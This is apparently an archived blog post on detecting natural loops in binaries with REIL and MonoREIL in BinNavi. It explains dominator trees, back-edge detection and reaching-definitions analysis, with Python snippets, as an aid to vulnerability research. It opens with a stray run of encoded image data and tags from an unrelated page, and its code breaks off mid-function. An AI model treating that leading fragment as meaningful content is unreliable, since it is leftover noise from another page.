rNBm1JszOQPzlnm2WezxA3uaLVIAyFy3TghSAYAP3nvXprROQ5YuXSrKv1rzxRdN%20foZWzWLDhwuxdd9plzJoPaVrz3748I25WL6%2FTNhCkxvQwu%2FBKoDl%2FpNGqTJWfdLMzVNAhYtLwJiH%20R4s2EPAHXM8wy%2BIJlg0bhnxSaCOoOZMz8PrHX3t0%2FQPZW3H7oMHNFikAFBWXYOXKlcL%2F4zom4PjJ%2000ju1kV0XEx0FDLXrcWYsfX1rY4fP96kwb9XvBa%2FHj3m8dTGXR6aNR%2FDU5Pw2OZrwuYYVgeL32Ao%20i%2B4aQIW3BXOzpbYXBTjeZc%2FTwgPuwvWLEHaCqzTwGPr5dZuAk%2FnTx3g8ku7I%2FEiIhPIWMdFROPbr%20r9C1jRW1V5aX4eRvp9EhLtbmPY7j0COlu10rgZU5kzMwf8WmJgNnvE3e%2BRwkJHXB5N5hQgq1P1Ph%20udu1wpTPiuKeZbDuBkgDAJMwhKI79BcdZE7TWjb28iUMBfOwKEGkRVUcBq64aiPSlQtmeyzSjxc%2B%20i2Hjpnk9eqmouARDht6JynJx5FFoeARSU1NtREp4DiNGDHcoUq2axfZ1K%2FD6x1%2F7XaSA5akw55H7%20sepwBXKKLe5U7s4ovzxZSTgLc5q4jCbdoT8ablkp%2FIMvziXGVSPQMInP6W4YzUVFwzRWJwSaNCzB%20IxyioLHhk%2Fc8KqdDGpW38RUx0VE4tHePU997ZXkZ%2BvXv51Ckw1OTsGrDTkS3jrX7vr%2Borq5EXIwW%20t8arkDneMg1jvyn2eRig%2Bf5WgpUHAEAxUE7eCjq6s6BPYQVAR3emmJvEtUK5HqE%2BmVTzcSoY%2Fx0n%20iPTQJT36vn9JJFJreUhPRFpZXoaM%2Fl19LlLAMrK2T%2BiGR0YOROHZQ%2FXB5pwRxfmX8H%2BvzERYRAu7%20Io3TqoQFU6BFCsBSDmjivdh8qgqH6uqhcmlan46qfJxKLFIAzE3jRCIFGsWjWqOnfFYNhaHA3doC%205tvrv%2FyaXyrw7y3FokdzWnIsvsw6iOiWOrc%2F4vyZ4xg%2BqJ%2Bkk%2B5UChqz%2FjUcz7%2Fzmcs7pviL4sIC%20xMW2xdAEdf2o6sO5qr0qKoppWWgcPSWyqdCqUIoZ%2BKToQqStyiuuNWuJcvPgSCEXf8qGQkzdWCgS%206fzpY7Dr2B8eiTT7q88lnRkap1Vh%2FvQxyLt0Ga9%2F%2FLXkRAoA0S11mDCsHzafqkJemcU0yHdvugqi%20J3A9w2x2wmYGPmkjUsAfEf7WUTRNK%2Bwdf%2BiSHtM2l9oIyrrbcYhGg9DQECQndUaHjp1xyx0ZTVbU%20e%2B%2FFRzHz9RXu98%2FHJOk06N%2FnJjzwrylIyxgfkIVSQ3ZkfoSdWy3ByRqNBi1btUJi9164OX2kUBDO%20ulvhnNu1eKluJa584w%2Fvxn64GeFvd%2FLhtRqo1v06u9Vv4jU%2F65pdl2hTxGlVGDKgN6bNmitKzGtu%20pRKVgkbfxDZI7XMTOnfpjo5JyQhtEY0IrcUSYTDUovL6NdRWV6CmshwV10tQVlqKmuoKlJeVQ6%2Bv%20RXV1%2FR9cZGQUIqNjkJDcE937DfboyeBLivMv4dZeSXafOr3itbjjtgGY9PQr6NOrF0JULHJnW%2BbO%203l5UuVs71eEs2bh1FuF%2F21bf4MEu0Q1Xc45GUU%2FoFa%2FFonffR%2BsOnTFySJrb11QpaNxza3eMfWgK%207rh%2Fqk%2B23JEy%2BXkXkJyUgNIaM0Z1C0HrMBa7%2FjCJfkeVgobexOPIzDh0axXk1a3s7e5K3XU4lCMW%20O9Sjwzf4iqvEuGKwKGXanc423H7cV%2Ft1Wn9MV0nSafDopAfx0KzXPK57%2Bnfhmy%2BWY%2FiEJxCnVWHv%20Y60RE8Igp9iIb89U48ODVYIFRtgSnSMIeu2CV3LnrEmaAqwKymlZoMNaOdSjQwc1HdaKYlMfFbXx%20ndUuxwGYB1kMuEVVHCZkFrosqF7xWiydOw0%2F%2F7AF504fQ86Jw%2Fhh02rMmZwhRKdbcfWaacmx2LZm%20GX67UokZr334jxcpANz94HSMS09BXqkeb%2B62TMUSopWYNbAFcmfH4tvJbZCk0wj%2BfzAU%2BPbBzf7c%20hkmaVtjUR52KFGiikC8xGyzFexuEAVKlJigXX3QaBkZCGBjnWqJ83JmTDk9Nwpa9vznMIi0vLUF8%20rM7l8LzhqUmYM%2F%2BNJiuieAtiqMKpvduxc%2BdO%2FLjvZxRcLYRB3QrDb%2B6Eu4YNxS13jQcVFNL0hfxE%207skjSOjeGwBwfFY7JETbToE2nawS6vk3e68GhoJxVjvRDopUeFtLUV82yKkWndaeotggih0kDowg%20WgW4W50H%2FjbsyEEXN9ICgIKrhSgpuOzw%2FTNH96PGhVF0XHoKjv28G1v3nfaPSM16fP3pu3jq4VHY%20uXMnlEoFBva7Bf363ITCwiIsWLUF%2FUY%2FilaxHXAy%2B0vf98dFOif3ErasXLSnPkaWuqwXdupruJs1%2036F5Iyp3awuRNgCAHfR8kyIFXCyNblw%2FUZyqYuChfPeiQ3NFw%2Flpj%2Ffy3VrsWOvQ9%2B5xI3RtYmE0%20GnDl0kXsP%2FSr3bTfhoxLT8GcN5Y1a3MITygvLUF4eBjA2F%2BUFZ49hHnPPyNsrnbih%2F8iedD9%2Fuyi%20Qw5kb8Ut6RlQKWjkPtseMSEM6FNVYLcUgRsWbeM1CnrlvEfz1Ib7LFihO%2FSHcsynLmnQpYPcjQMg%20uiAYZ8QBAMauLbCbOeptjv2826UK04Hk%2F16Ziekvv4eY6CgU5p0DVOF%2B%2BVyO43Dq8E%2F448xRlF%2B%2F%20jsiYlkjq2R8dk24EAHRpHYIzBdVYmhGDaX3DAROxCJIj4ONUMA%2BPFgzUxYyAAAAOQElEQVTzitX5%20HgXWu%2BLPd4ZLlVzdjQOgioyAyTKHTetou5mBt0nSaQIq0vy8C3j1ibHo3TESwUoGkRoFeneMxI7M%20j0THPTZvMZK7dUFRcQlO7tvpl77NnTISMWEqpNxyG0ZNmoWHn34Vwyc8gRu6pKBdZDBefWIs7rj1%20FgDA1tN1A4qCAt%2BpbgufPD2UH14Gu7EQMPDgk9wPqnfVn%2B8Ml0sOMwOfAqUWxws2DnQV4AjoPyyV%209kZ1C3Ea%2Fe4NZv37cZ9e3xHFhQV4cuxgdLyhE15avh6nLpWhb2IbdO%2Bow6lLZRg2bhq%2B%2BWK5cDxF%20M1jwnKWvOecu%2BLx%2F33yxHAtWbREtPlUKGlo1C5WCRl6pHi8tXy%2FsSbXvTz1MdYtk0rpBkh9HwPxS%20gaA3%2FrAMQm5iExCtjgQ7YIZb13BZQe7GATA%2FW7wYMSEMXkp3vGV3c5k5Jh1TXnBestAXbFzxBhLj%2047B0%2FQ%2FoFhuBDR8uRHlVLXafyMPuE3k48GM2VAoazz77nOi8djrLTWsd3bxM1KYouHwJ02fWp4LH%20aVU4PqsdyuZ3RP68Diib3xG5z3XA0owYJOkso6TexONoviV9mm9nZ%2BGk5932Tjny57uzdQ%2Fg5jbo%20zI33gWopTrfg7oyyWwu%2BYcHWf%2FeLwKhu3jXLaNUsVi6YjSWZWV69blOUl5Zg%2FOAeuO%2FRFwAAn70z%20D4fOleDeac%2BLPFw39k1D38Q2NgvJynLL6rpjlx4%2B6yPHcRg3rJ8obHLhnS1szE9xESym9Q3H0Rmt%20sTQjBioFjaN1u0iLRlRPUdEWfTSAatkFzI3up7i7JVSKZig2fa6ojYQwlrA9O7DbigEDDwVDIXO8%20DkszYqBVNy9rIE6rwpzJGTh7Ic%2FvI%2BneHRvQvVOsEFcQomLRrVc%2Fu3bf6upKnDhfYOOk%2BHb7DkzN%20GICWiX180kdCCB4bfZvIQvLgTWGCmYk%2BVQV2YyHYb4pBn6oS7OHT%2BoZj7%2BP1uXMkhLFJtHMX8%2B1a%20m2uw6XPd3l4ScFOoAMDE9aHorsNFbVxqBEiUrWmGKjFC8ckVIQV2Wt9wrBnrftJYkk6DqRkDsH3d%20CvxeUI7XP%2F7ar8EexfmX8MjIgRgw7H7kleoxf%2FoYLH95BvJK9eifPkw0D7WyYOYElNaYMWXsSKGt%20vLQEJ8%2FkYsUax3sLNJcXp44SzGCA5Q%2F73RGW6QZVaoJikyW2lNlXBsXaAigX%2FSk8%2Bbq1CrKs%2Buto%20%2FMh2h4ZFl63QXYd7tGEv4MHu0oD7cQAkhIH5vlaC6%2BzpbcVYvr8MWjWLxa%2B%2BAF3bOBRczkN5aRGM%20RhMiWkQiQqtFh6Qe6HzjzQGL2ywvLcFbz07B4s%2B3QW%2FiEadVYfWnq5A2wmIBaZg0uHTuNMx4zbLn%20werFL%2BHhp19Fkk6DY3%2BWClOCwrOH0LJTikN7a3Owl3qjUtDY%2B3hbdGtleYwrPnC84RnXLwLmoeIc%20qeZETHniz%2FcJ5n3LbUtUJmocF8NiKGJ4qh3RL%2BxEKl%2B7gTx4U5hQ9Gv%2B9DHEYDB4UuPMJ1y5eJ7M%20mZwhFGVTKWgyZ3IGqaqqsDn22M%2B7SZxWZSmeNiadzJ8%2BRihklnPisF%2F6azAYbMpmqhQ0%2BXZyG%2BHe%20mG%2FXNl2sTBck3CP9wk7EdH8rz0pJJmpstGHet7xZpVc8Vjcx1RLjymFuxQGQKCVM09qChDAwcQQL%20d5UKcQBJOg2ee2YWxj7xYkDC7oxGI7I3fYYPli1B1uEcUcDLzz9sceqKzc%2B7gPS%2B3YWFU5JOg693%207vFp4YiGnz3%2B7jQbr5219DngZpImQ8E8Ihpcn3DP0pAc%2BfOnbgelCPbvaGqFy9lp%2B5fTxF8urwsi%20hrnxwvHfTm5DknQaYSSI06rInMkZ5Mj%2FviM8Z%2FbpSFRVVUG2rVlGpmYMsClpOS49hWz4cCFRKWiS%20lhzrcMT%2FafuXoiK5UzMGkIqy6z7tt5Vta5bZ9FuloMnacbr68o0T2xDCUB6Nioa58W6fa75da%2Fuk%20dXF3Pmc0W%2BHuxgEAFr%2Bv6UGdMFk3cQTrj1Vi8b4qkTlHq2bRL6UTBva7Bd173YLk1CE2%2BfLucK24%20CL%2Fs3oqDP2Zj14%2F7cODsFdHIGadV4cFRQzDthTeFUpY7Mj%2FCsHHTMC49BV98%2FytKS4px6IevsXPr%20Bmz%2Bfq9gAkpLjsXCd5f5JQimvLQEjz8w2CarQatmsWZsS2Frc%2BqyHspVVzyOISXhLCgD7%2FL5zfXn%20O6PZF%2FC4HoCdjFTAkgnw32OV2HZWb7f8jkpBo0NUMFpGaREaGoJQdRCio8S2uppaA6qrK1FZY0DB%201UJU1xpQWG5wGB5oFWiP3n3RIro1amsqoa%2BuRFlpKQquXELmV9twpqAaWjUruoZWzWL04Fts0mN8%20BeE5rHrzBTz32rs23yVJp8H6sVGCrZTOrYHi83y%2FVuVrrj%2FfGV6ZM5i%2Bn0%2B4X8RVAZ2tMBtCwllw%20Q6LAdQ%2BxyR%2FPKTbiUJ4ex%2FINOHiVRlFZjVdqR3mKdSeSgf1uQf8hGeiddpcoWa%2B6uhL7vv0v7rh%2F%20ilc%2FlxCCLZ8twZy58%2BxGok1PjcDLd0QitG4kY45Wgt1U6FeR8nEqmB4TP%2B2YnhOguOMlr2jMKxch%20tWXEuGIwSG29KcPdiTgJYcD3CQd3Y6iwa7Q9TBzBhVITyvU8Kg088htMMWpMBGoFBbXScsMigmmE%20BtFoFcpCxVIoqjKjsIpDWS2PkmoOhZVmlOt55FeYcfYaEUQwPDUJI%2B6%2BGxFaLaJ0cYjt1BWxHZMc%20LvKMRiM%2BXjgby1aswoZtO70WZlhdXYnVb7%2BIZStW2RVokk6Dt4dFCI96cATsjhK%2Fb3AG2MnPD46A%20clqW265SR3htFWY%2Bup6Yv5snavO0cAGJUoJPUINvHwzSOsgm2NYXmDiCkavzhcrW49JT8Oyr7zqN%20yirOv4TVS17G%2B6vWoajS6HH5oYYQnsO%2BnV%2Fh8xXvY1PWz3anK3FaFebdHo4xKaFQ1D2FqCIjFOuv%20giow2Bzva7ieYaL9ogCAvfNVsD3GeE1fXruQL3f8IyEMiFYBEq0EwlmQcBZEzQBKGkRdN3FX0gBL%20AWYCGC2fR9XwgJEHVcNZItZDWBANYzlHzYBoGNHEv7HJDLCIov9NiWjfrh1aaCNRW1ODszlnkXsh%20T1TMrVe8FtOmTMZtI8cLcZ4ufTdCcOHsCez%2Bei1278rCd%2FtPOZxLD%2BqkxqTe4aKoe3AE7K5SSyn7%20QFQJdzM%2F31O8atfyWj0Af8JYYi9NY1oJos0pNmLRnuvYeLLKYQKhSkFjaIIarcNYm4WfVs2ie0cd%20WreMRHRUFDQaDVSqYASr1bheeg3V1dUoLilB7oU8XLha4TQHLEmnwYSUYNzbPRRxEQ3iJOpC75hd%20gd0UxN38fE%2FxugHWuHkG4c82KFTrQT2AQECilDA90FI0zzJxBEfzDcgpMqK42mLViNYwSIhRokfr%20IOGxCwCnrhrw1ckqfP8nHG4m7ApJOg166hjcGh%2BMWzuqxeIEAAMP5lA5mH1lgd21Bg7y8xOHQjnq%20Pa%2FryusXbG49gEDD9QwDN7CF0wVdU1QaeBy6pMfxfANOFxpRUGlGOadCda0BrUMsj%2BewIBqtw1iE%20q2h00CqQEKNEUoxSWLmLO0VAn68FfaISzLHKgG4E0hB%2F%2BvN94tIy71tOzD8uEbV5mmsTKPg4FcgN%20avDtgkEiWEBdNwcrM4EqM4MuMIA6VwOq3Ay%2BWwj4zhrwHYO9VqKRquJA%2F14D6nwNmN%2BqAr5pcmMa%20JnBaYQc%2BCbbfdJ9oyicX9SQO4G%2BBigbfPhh8fDBIyyDw7VSixZpdDDyocjOoIiOo6ybQF2pBFRgC%20%2Flh3SgD8%2BT6pfU4pgqnG%2BwJY6wH4a1%2BAgKDnLZkNDZ4cJIQBQlmQukqGVF3SI2o4S5zuX%2FAP12F%2B%20vg%2BDTnyWdcckDKHouJtFbeaBLZodNf5Xg6riQBUYQOfpQefpLaOldcT8C4qUhDAwDxSv8um4m0X1%209n2BT9ND2TteAqgGwgyiwQ1zkLkq85eAGxYtns5QjOU%2B%2BxifCtWf%2BwLI%2BB5v5Od7im8T7gGwA2aA%20ChankjisByAjaWzy84Mj3M7P9xSfC5UKjqCYATNFbd7aF0DGf9jNzx8w02tBJ03hc6ECANNjLKjo%20BFGbo3oAMhLEXn5%2BdAKYHmP91gW%2FKIWiGarxhNtZPQAZaWE3P%2F%2BOl7wadNIUfhvSmLg%2BFJ0o3i7c%20UT0AGelgNz8%2FcajXg06awq%2FPXva2ZwG2wTzHzo7CMtLCZqdxVmW5j37Gr0KlI9o2a18AGf%2FisN5%2B%20RFu%2Fpz37fTXD9JkEKrytqK1xhQ4ZCcBQlvvSACq8LZg%2BkwLSHb8LlVIE2%2B4LEKME19c%2F1ZdlXIPr%20G24T6uhrf74zAmIfshsHMDjyHxcHIFVICGPZs7YB%2FvDnOyNghkw5DkC6BMqf74yACVWOA5AmgfTn%20OyOgriE5DkB6BNKf74yAClWOA5AWgfbnOyPgznY6ZYwcByAFHPjz6ZQxAeqQmICrgWZYOQ5AAjjy%2059MMG%2FDRFJCAUAE5DiDQSMWf7wxJCBWQ4wACiVT8%2Bc6QjFDlOIDAICV%2FvjMkI1RAjgPwOxLz5ztD%20UkKV4wD8i9T8%2Bc6QlFABOQ7AX0jRn%2B8MyQkVcBAH0OhHlWke3OBIyfnznSFJodqNA%2BgTLscBeAk%2B%20TgWuj3g6JQV%2FvjMkKVRAjgPwJVL15zvDJ0XSvAEVHEGZf%2FmCmL9%2FRWizxgEwv1UFsGd%2FbbiuIZL1%205ztD0p3jOTMxfToSpDgn0F3520JFJ0Ax8WvJuEodIdlHP2A%2FDkDGu0jJn%2B8MSQsVsB8HIOMdpObP%20d4bkhQrYiQOQaT4S9OfLyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI%2FH34f4DnQZLCUbKg%20AAAAAElFTkSuQmCC%20%22%0A%20%20%20%20%20%20%20height%3D%2216.388628%22%0A%20%20%20%20%20%20%20width%3D%2216.62991%22%20%2F%3E%0A%20%20%20%20%3Cg%0A%20%20%20%20%20%20%20id%3D%22_x35__stroke%22%0A%20%20%20%20%20%20%20transform%3D%22matrix(0.14448766%2C0%2C0%2C0.1423913%2C9.3597359%2C13.520785)%22%3E%0A%20%20%20%20%20%20%3Cg%0A%20%20%20%20%20%20%20%20%20id%3D%22Google_Plus%22%3E%0A%20%20%20%20%20%20%20%20%3Crect%0A%20%20%20%20%20%20%20%20%20%20%20id%3D%22rect3398%22%0A%20%20%20%20%20%20%20%20%20%20%20width%3D%22128%22%0A%20%20%20%20%20%20%20%20%20%20%20height%3D%22128%22%0A%20%20%20%20%20%20%20%20%20%20%20x%3D%220%22%0A%20%20%20%20%20%20%20%20%20%20%20y%3D%220%22%0A%20%20%20%20%20%20%20%20%20%20%20style%3D%22clip-
rule%3Aevenodd%3Bfill%3Anone%3Bfill-
rule%3Aevenodd%22%20%2F%3E%0A%20%20%20%20%20%20%20%20%3Cpath%0A%20%20%20%20%20%20%20%20%20%20%20id%3D%22Google_Plus_1_%22%0A%20%20%20%20%20%20%20%20%20%20%20d%3D%22m%2040.654%2C55.935%200%2C16.13%20c%200%2C0%2015.619%2C-0.021%2021.979%2C-0.021%20C%2059.189%2C82.5%2053.834%2C88.194%2040.654%2C88.194%2027.316%2C88.194%2016.906%2C77.362%2016.906%2C64%20c%200%2C-13.362%2010.41%2C-24.194%2023.748%2C-24.194%207.052%2C0%2011.607%2C2.483%2015.784%2C5.944%20C%2059.782%2C42.4%2059.503%2C41.922%2068.011%2C33.873%2060.789%2C27.287%2051.189%2C23.273%2040.654%2C23.273%2018.201%2C23.273%200%2C41.507%200%2C64%20c%200%2C22.493%2018.201%2C40.727%2040.654%2C40.727%2033.561%2C0%2041.763%2C-29.275%2039.044%2C-48.792%20l%20-39.044%2C0%20z%20m%2073.258%2C0.807%200%2C-14.114%20-10.063%2C0%200%2C14.113%20-14.491%2C0%200%2C10.081%2014.491%2C0%200%2C14.517%2010.063%2C0%200%2C-14.516%2014.088%2C0%200%2C-10.081%20-14.088%2C0%20z%22%0A%20%20%20%20%20%20%20%20%20%20%20inkscape%3Aconnector-
curvature%3D%220%22%0A%20%20%20%20%20%20%20%20%20%20%20style%3D%22clip-
rule%3Aevenodd%3Bfill%3A%23f93f2d%3Bfill-
rule%3Aevenodd%22%20%2F%3E%0A%20%20%20%20%20%20%3C%2Fg%3E%0A%20%20%20%20%3C%2Fg%3E%0A%20%20%3C%2Fg%3E%0A%3C%2Fsvg%3E%0A'
width='41' height='29' />

Tags apple, Intel ME, MacBook

  *[4:51 AM]: 2018-10-02T04:51:00-07:00

# Finding interesting loops using \(Mono\)REIL | Random stream of chars
**Created:**| _3/26/2012 2:58:17 PM_  
---|---  
**Updated:**| _3/26/2012 2:58:17 PM_  
**Author:**| __  
**Tags:**| _Graphs solver binnavi_  
  

# Finding interesting loops using \(Mono\)REIL

Posted on December 18, 2009 | 2 Comments
Natural loops detection is a well understood and useful to solve problem for
vulnerability analysis.

Peter Silberman wrote a while ago a very interesting article on the subject, I
strongly suggest you to take a look at it.

In this blog post we will see how to detect natural loops\(from now on just
“loops”\) and how to have a metric to decide whether or not a given loop is
interesting using REIL and MonoREIL.

The algorithm used for detecting loops is pretty straightforward, first off we
need to build a dominator tree out of a function, then for each node we
calculate the list of dominators, finally for each dominated node we check
whether there’s a backedge to one of the dominators; if a backedge is found
then we have a loop. This might be a little confusing at first, so let’s
proceed step by step.

A dominator tree is a tree where leafs are dominated by their parents. Or
better a node d dominates node k if the only way to go from the start node to
k it’s through d. As usual you better check wikipedia for a formal and
possibly more meaningful definition.

So for instance if we have a function like the one shown in this picture:

<img src='img/Temp2_3214.png' width='249' height='300' />

The dominator tree would look like this:

<img src='img/Temp2_3215.png' width='248' height='300' />

Notice that I’ve highlighted the nodes of the loop in both graphs in order to
make it easier to understand it.

Now we need to find the dominators of each node, for instance the dominators
of the node in red are the ones in green in the following picture:

<img src='img/Temp2_3216.png' width='248' height='300' />

It should be clear by now that if,in the original flowgraph of the function,
there’s a link from one of the node to one of its dominators it means that we
have a loop.

I told you that this blog post will make use of REIL at some point, so there
we go. Take for instance the x86 instruction set, it contains some rather
nasty instructions which are “implicit” loops\(for instance rep movs\). What
happens when a rep movs is translated to REIL? the loop is “unfolded”, so in
comparison to a normal function flowgraph we are able to determine “implicit”
loops without any trickeries.

Let’s stop talking now and see some code:

`1`| `#the root node is the first node in the graph`  
---|---  
`2`| `dominatorTree ``=` `GraphAlgorithms.getDominatorTree(reilGraph,
``self``.findRoot(reilGraph.getNodes()))`  
---|---  
  
Yeah that’s cool, BinNavi is already capable of generating the dominator tree
\(using the Lengauer Tarjan algorithm so that you know\).  

`01`| `self``.fillDominatingSets(dominatorTree.getRootNode(), dominatingSets)`  
---|---  
`02`|  
---|---  
`03`| ` ``#Here we create the dominators list.`  
---|---  
`04`| ` ``def` `fillDominatingSets(``self``, currNode, resultDict,
currentSet``=``None` `):`  
---|---  
`05`| ` ``"""For each node store a set of dominating nodes in a dictionary,`  
---|---  
`06`| ` ``thus each set contains the parents of a node. NOTE: this function
walks the tree recursively"""`  
---|---  
`07`| ` ``if` `currentSet ``=``=` `None``:`  
---|---  
`08`| ` ``currentSet ``=` `sets.``Set``()`  
---|---  
`09`| ` ``#add itself`  
---|---  
`10`| ` ``currentSet.add(currNode.getObject().getAddress())`  
---|---  
`11`| ` ``resultDict[currNode.getObject().getAddress()] ``=` `currentSet`  
---|---  
`12`| ` ``for` `node ``in` `currNode.getChildren():`  
---|---  
`13`| ` ``newNodeSet ``=` `sets.``Set``()`  
---|---  
`14`| ` ``#store parent's set in the child one`  
---|---  
`15`| ` ``newNodeSet.update(currentSet)`  
---|---  
`16`| ` ``self``.fillDominatingSets(node, resultDict, newNodeSet)`  
---|---  
`17`|  
---|---  
`18`| ` ``return` `resultDict`  
---|---  
  
Next step is to find backedges.  

`01`| `for` `node ``in` `reilGraph.getNodes():`  
---|---  
`02`| ` ``currAddr ``=` `node.getAddress()`  
---|---  
`03`| ` ``#get all children`  
---|---  
`04`| ` ``childrenAddr ``=` `[child.getAddress() ``for` `child ``in`
`node.getChildren()]`  
---|---  
`05`| ` ``for` `address ``in` `childrenAddr:`  
---|---  
`06`| ` ``#one of the children is dominated by the parent`  
---|---  
`07`| ` ``if` `address ``in` `dominatingSets[currAddr]:`  
---|---  
`08`| ` ``parentNode ``=` `[n ``for` `n ``in` `reilGraph.getNodes() ``if`
`n.getAddress() ``=``=` `currAddr][``0``]`  
---|---  
`09`| ` ``childNode ``=` `[n ``for` `n ``in` `reilGraph.getNodes() ``if`
`n.getAddress() ``=``=` `address][``0``]`  
---|---  
`10`| ` ``#get all parents`  
---|---  
`11`| ` ``parentSet ``=` `get_all_parents( parentNode, childNode )`  
---|---  
`12`| ` ``#get all children`  
---|---  
`13`| ` ``childrenSet ``=` `get_all_children( childNode, parentNode)`  
---|---  
`14`| ` ``#the nodes in the loop are the ones that are contained in both
children and parents`  
---|---  
`15`| ` ``results.append((f, parentSet.intersection(childrenSet)))`  
---|---  
  
I’d like to thank Halvar Flake  for providing me with part of this code from a
previous implementation of the this algo he wrote.  
So what now? We have all the loops in a binary but we’d like to have only the
interesting ones to analyze by hand.  
First off let’s give a definition of “interesting” in this case, we consider a
loop to be interesting when it writes some memory at different locations\(yeah
I know this is not the most interesting definition of “interesting”
vulnerability analysis-wise\).  
For this purpose we will use a reaching definitions algorithm.  
This is not the best and most comprehensive way of finding interesting loops
but is by far the simplest and it’s also quite effective for explaining
MonoREIL.  
Reaching definitions is a typical dataflow analysis algorithm used to
determine at a given program point p which definitions/assignments can reach
p.  
To avoid making this post longer than it already is I won’t explain how the
algorithm works, but instead will point you to wikipedia. Note though that
without reading the explaination the rest of the post will be pretty much
meaningless to you. So again, wikipedia\!  
The easiest way to implement this algorithm is to use abstract interpretation
\(and for those of you who prefer something less formal here’s another very
useful link\) on an intermediate language.  
We have both: MonoREIL and REIL.  
So what do we need in order to write our MonoREIL algorithm? the flowgraph of
a function, a way to walk the graph, a lattice and a way to combine lattice
elements, the effect that each REIL instruction has on the lattice and a
initial state. Quite a few things..  
So let’s go back to the reaching definitions algorithm. The initial state is
empty at each program state.  

`01`| `# This function creates the initial state of the state vector passed to
the`  
---|---  
`02`| `# monotone framework. In the beginning the state of each instruction is
defined`  
---|---  
`03`| `# as empty.`  
---|---  
`04`| `def` `generateStartVector(graph):`  
---|---  
`05`| ` ``startVector ``=` `DefaultStateVector()`  
---|---  
`06`|  
---|---  
`07`| ` ``for` `node ``in` `graph:`  
---|---  
`08`| ` ``element ``=` `SkeletonLatticeElement()`  
---|---  
`09`| ` ``startVector.setState(node, element)`  
---|---  
`10`|  
---|---  
`11`| ` ``return` `startVector`  
---|---  
  
As described in the wikipedia article the algorithm needs a Reach\_in and a
Reach\_out set. In order to be able to determine when the iteration reaches
its fixed point we need a way to know when two elements are equal. Also
MonoREIL can only work if the lattice satisfies the Ascending chain condition,
therefore we need a way to determine whether an element is less than another
one. Before showing you some code let me say a few words on lattices, as usual
for a formal definition go read here. Why do we use lattices in our code? Well
abstract interpretation is all about taking some concrete values that are
likely to be present in one of the execution paths of the code and then put
all the execution paths together to gather a “set” of abstract values\(that
therefore are “path” independent\). \(yeah I suck a bit at explaining stuff\).
Lattices, are partially ordered sets that can hold all the concrete values and
can give us a way to “merge” them, in fact each lattice has two operators:

<img
src='http://viozzo.files.wordpress.com/2009/12/5addb134385e47a2efa484f6306e75a1.png?w=500'
/> and <img src='img/Temp2_3213.png' />

Which can be seen as “union” and “intersection”, hence we are able by the mean
of those operators to merge different elements in one. Of course the reason
for using lattices is not just that , but then we would get too mathy. All
that said what a lattice is and what “union” and “intersection” are code-wise
highly depends on the algorithm you’re shaping\(eg: there’s not a template for
a lattice that we can use each time\). Let’s now take a loop at a lattice
element in our algorithm:  

`01`| `# This class is used for the elements of the lattice. Each lattice
element`  
---|---  
`02`| `# is used to keep track of the known state for a REIL instruction
during`  
---|---  
`03`| `# analysis. Since this plugin keeps track of reached variables, the
kept`  
---|---  
`04`| `# state says what definitions are present at the beginning and at the
end of state.`  
---|---  
`05`| `class` `SkeletonLatticeElement(ILatticeElement):`  
---|---  
`06`| ` ``def` `__init__(``self``):`  
---|---  
`07`| ` ``self``.inVal ``=` `Set``()`  
---|---  
`08`| ` ``self``.out ``=` `Set``()`  
---|---  
`09`|  
---|---  
`10`| ` ``def` `equals(``self``, rhs):`  
---|---  
`11`| ` ``# This function helps MonoREIL to end the fixed point iteration`  
---|---  
`12`| ` ``return` `self``.out ``=``=` `rhs.out`  
---|---  
`13`|  
---|---  
`14`| ` ``def` `lessThan(``self``, rhs):`  
---|---  
`15`| ` ``# This function helps MonoREIL to check the monotonous requirement.`  
---|---  
`16`| ` ``return` `self``.inVal &lt; rhs.inVal ``and` `self``.out &lt;
rhs.out`  
---|---  
  
Now we need a way to combine lattices, for that we need to refer to the
algorithm:

<img src='img/Temp2_3217.png' width='300' height='41' />

So in essence inVal is determined by the union of the out states of the
parents states:  

`01`| `# This class defines the lattice used by the monotone framework. Its
only`  
---|---  
`02`| `# purpose is to defined a function that is used to combine a list of
states`  
---|---  
`03`| `# into one state.`  
---|---  
`04`| `class` `SkeletonLattice(ILattice):`  
---|---  
`05`| ` ``def` `combine(``self``, states):`  
---|---  
`06`| ` ``combinedState ``=` `SkeletonLatticeElement()`  
---|---  
`07`| ` ``for` `state ``in` `states:`  
---|---  
`08`| ` ``combinedState.inVal ``=`
`combinedState.inVal.union(state.element.out)`  
---|---  
`09`|  
---|---  
`10`| ` ``return` `combinedState`  
---|---  
  
The next question we need to ask ourserlves is: how does a REIL instruction
influence a given state?  

`01`| `# This class provides the transformations each instruction has on a
state. For`  
---|---  
`02`| `# each instruction of the instruction graph, the current state of the
instruction`  
---|---  
`03`| `# and the combined state of the influencing nodes is passed to the
function.`  
---|---  
`04`| `# The function returns the state of the instruction while considering
the input`  
---|---  
`05`| `# states.`  
---|---  
`06`| `class` `SkeletonTransformationProvider(ITransformationProvider):`  
---|---  
`07`| ` ``def` `transform(``self``, node, currentState, influencingState):`  
---|---  
`08`|  
---|---  
`09`| ` ``#assignments made by this node`  
---|---  
`10`| ` ``gen ``=` `Set``()`  
---|---  
`11`| ` ``#assignments killed by this node`  
---|---  
`12`| ` ``kill ``=` `Set``()`  
---|---  
`13`| ` ``transformed_state ``=` `SkeletonLatticeElement()`  
---|---  
`14`| ` ``#inVal is equal to the combinedState inVal we computed in combine()`  
---|---  
`15`| ` ``transformed_state.inVal.update(influencingState.inVal)`  
---|---  
`16`|  
---|---  
`17`| ` ``instruction ``=` `node.getInstruction()`  
---|---  
`18`| ` ``#the third operand is always the defined one except from jumps and
comparisons instructions`  
---|---  
`19`| ` ``if` `instruction.thirdOperand.value !``=` `'' ``and`
`instruction.mnemonic ``not` `in` `(``"jcc"``, ``"bisz"``):`  
---|---  
`20`| ` ``#defs is the set that contains all the definitions made in the code.
This method is called more than once so avoid duplicates`  
---|---  
`21`| ` ``if` `(instruction.thirdOperand.value, instruction.getAddress())
``not` `in` `defs:`  
---|---  
`22`| ` ``defs.add((instruction.thirdOperand.value,
instruction.getAddress()))`  
---|---  
`23`| ` ``#a new definition was made in the node`  
---|---  
`24`| ` ``gen.add((instruction.thirdOperand.value, instruction.getAddress()))`  
---|---  
`25`|  
---|---  
`26`| ` ``#kill is defined as: defs - gen`  
---|---  
`27`| ` ``for` `(operand, address) ``in` `defs:`  
---|---  
`28`| ` ``if` `address !``=` `instruction.getAddress() ``and` `operand ``=``=`
`instruction.thirdOperand.value:`  
---|---  
`29`| ` ``kill.add((operand, address))`  
---|---  
`30`|  
---|---  
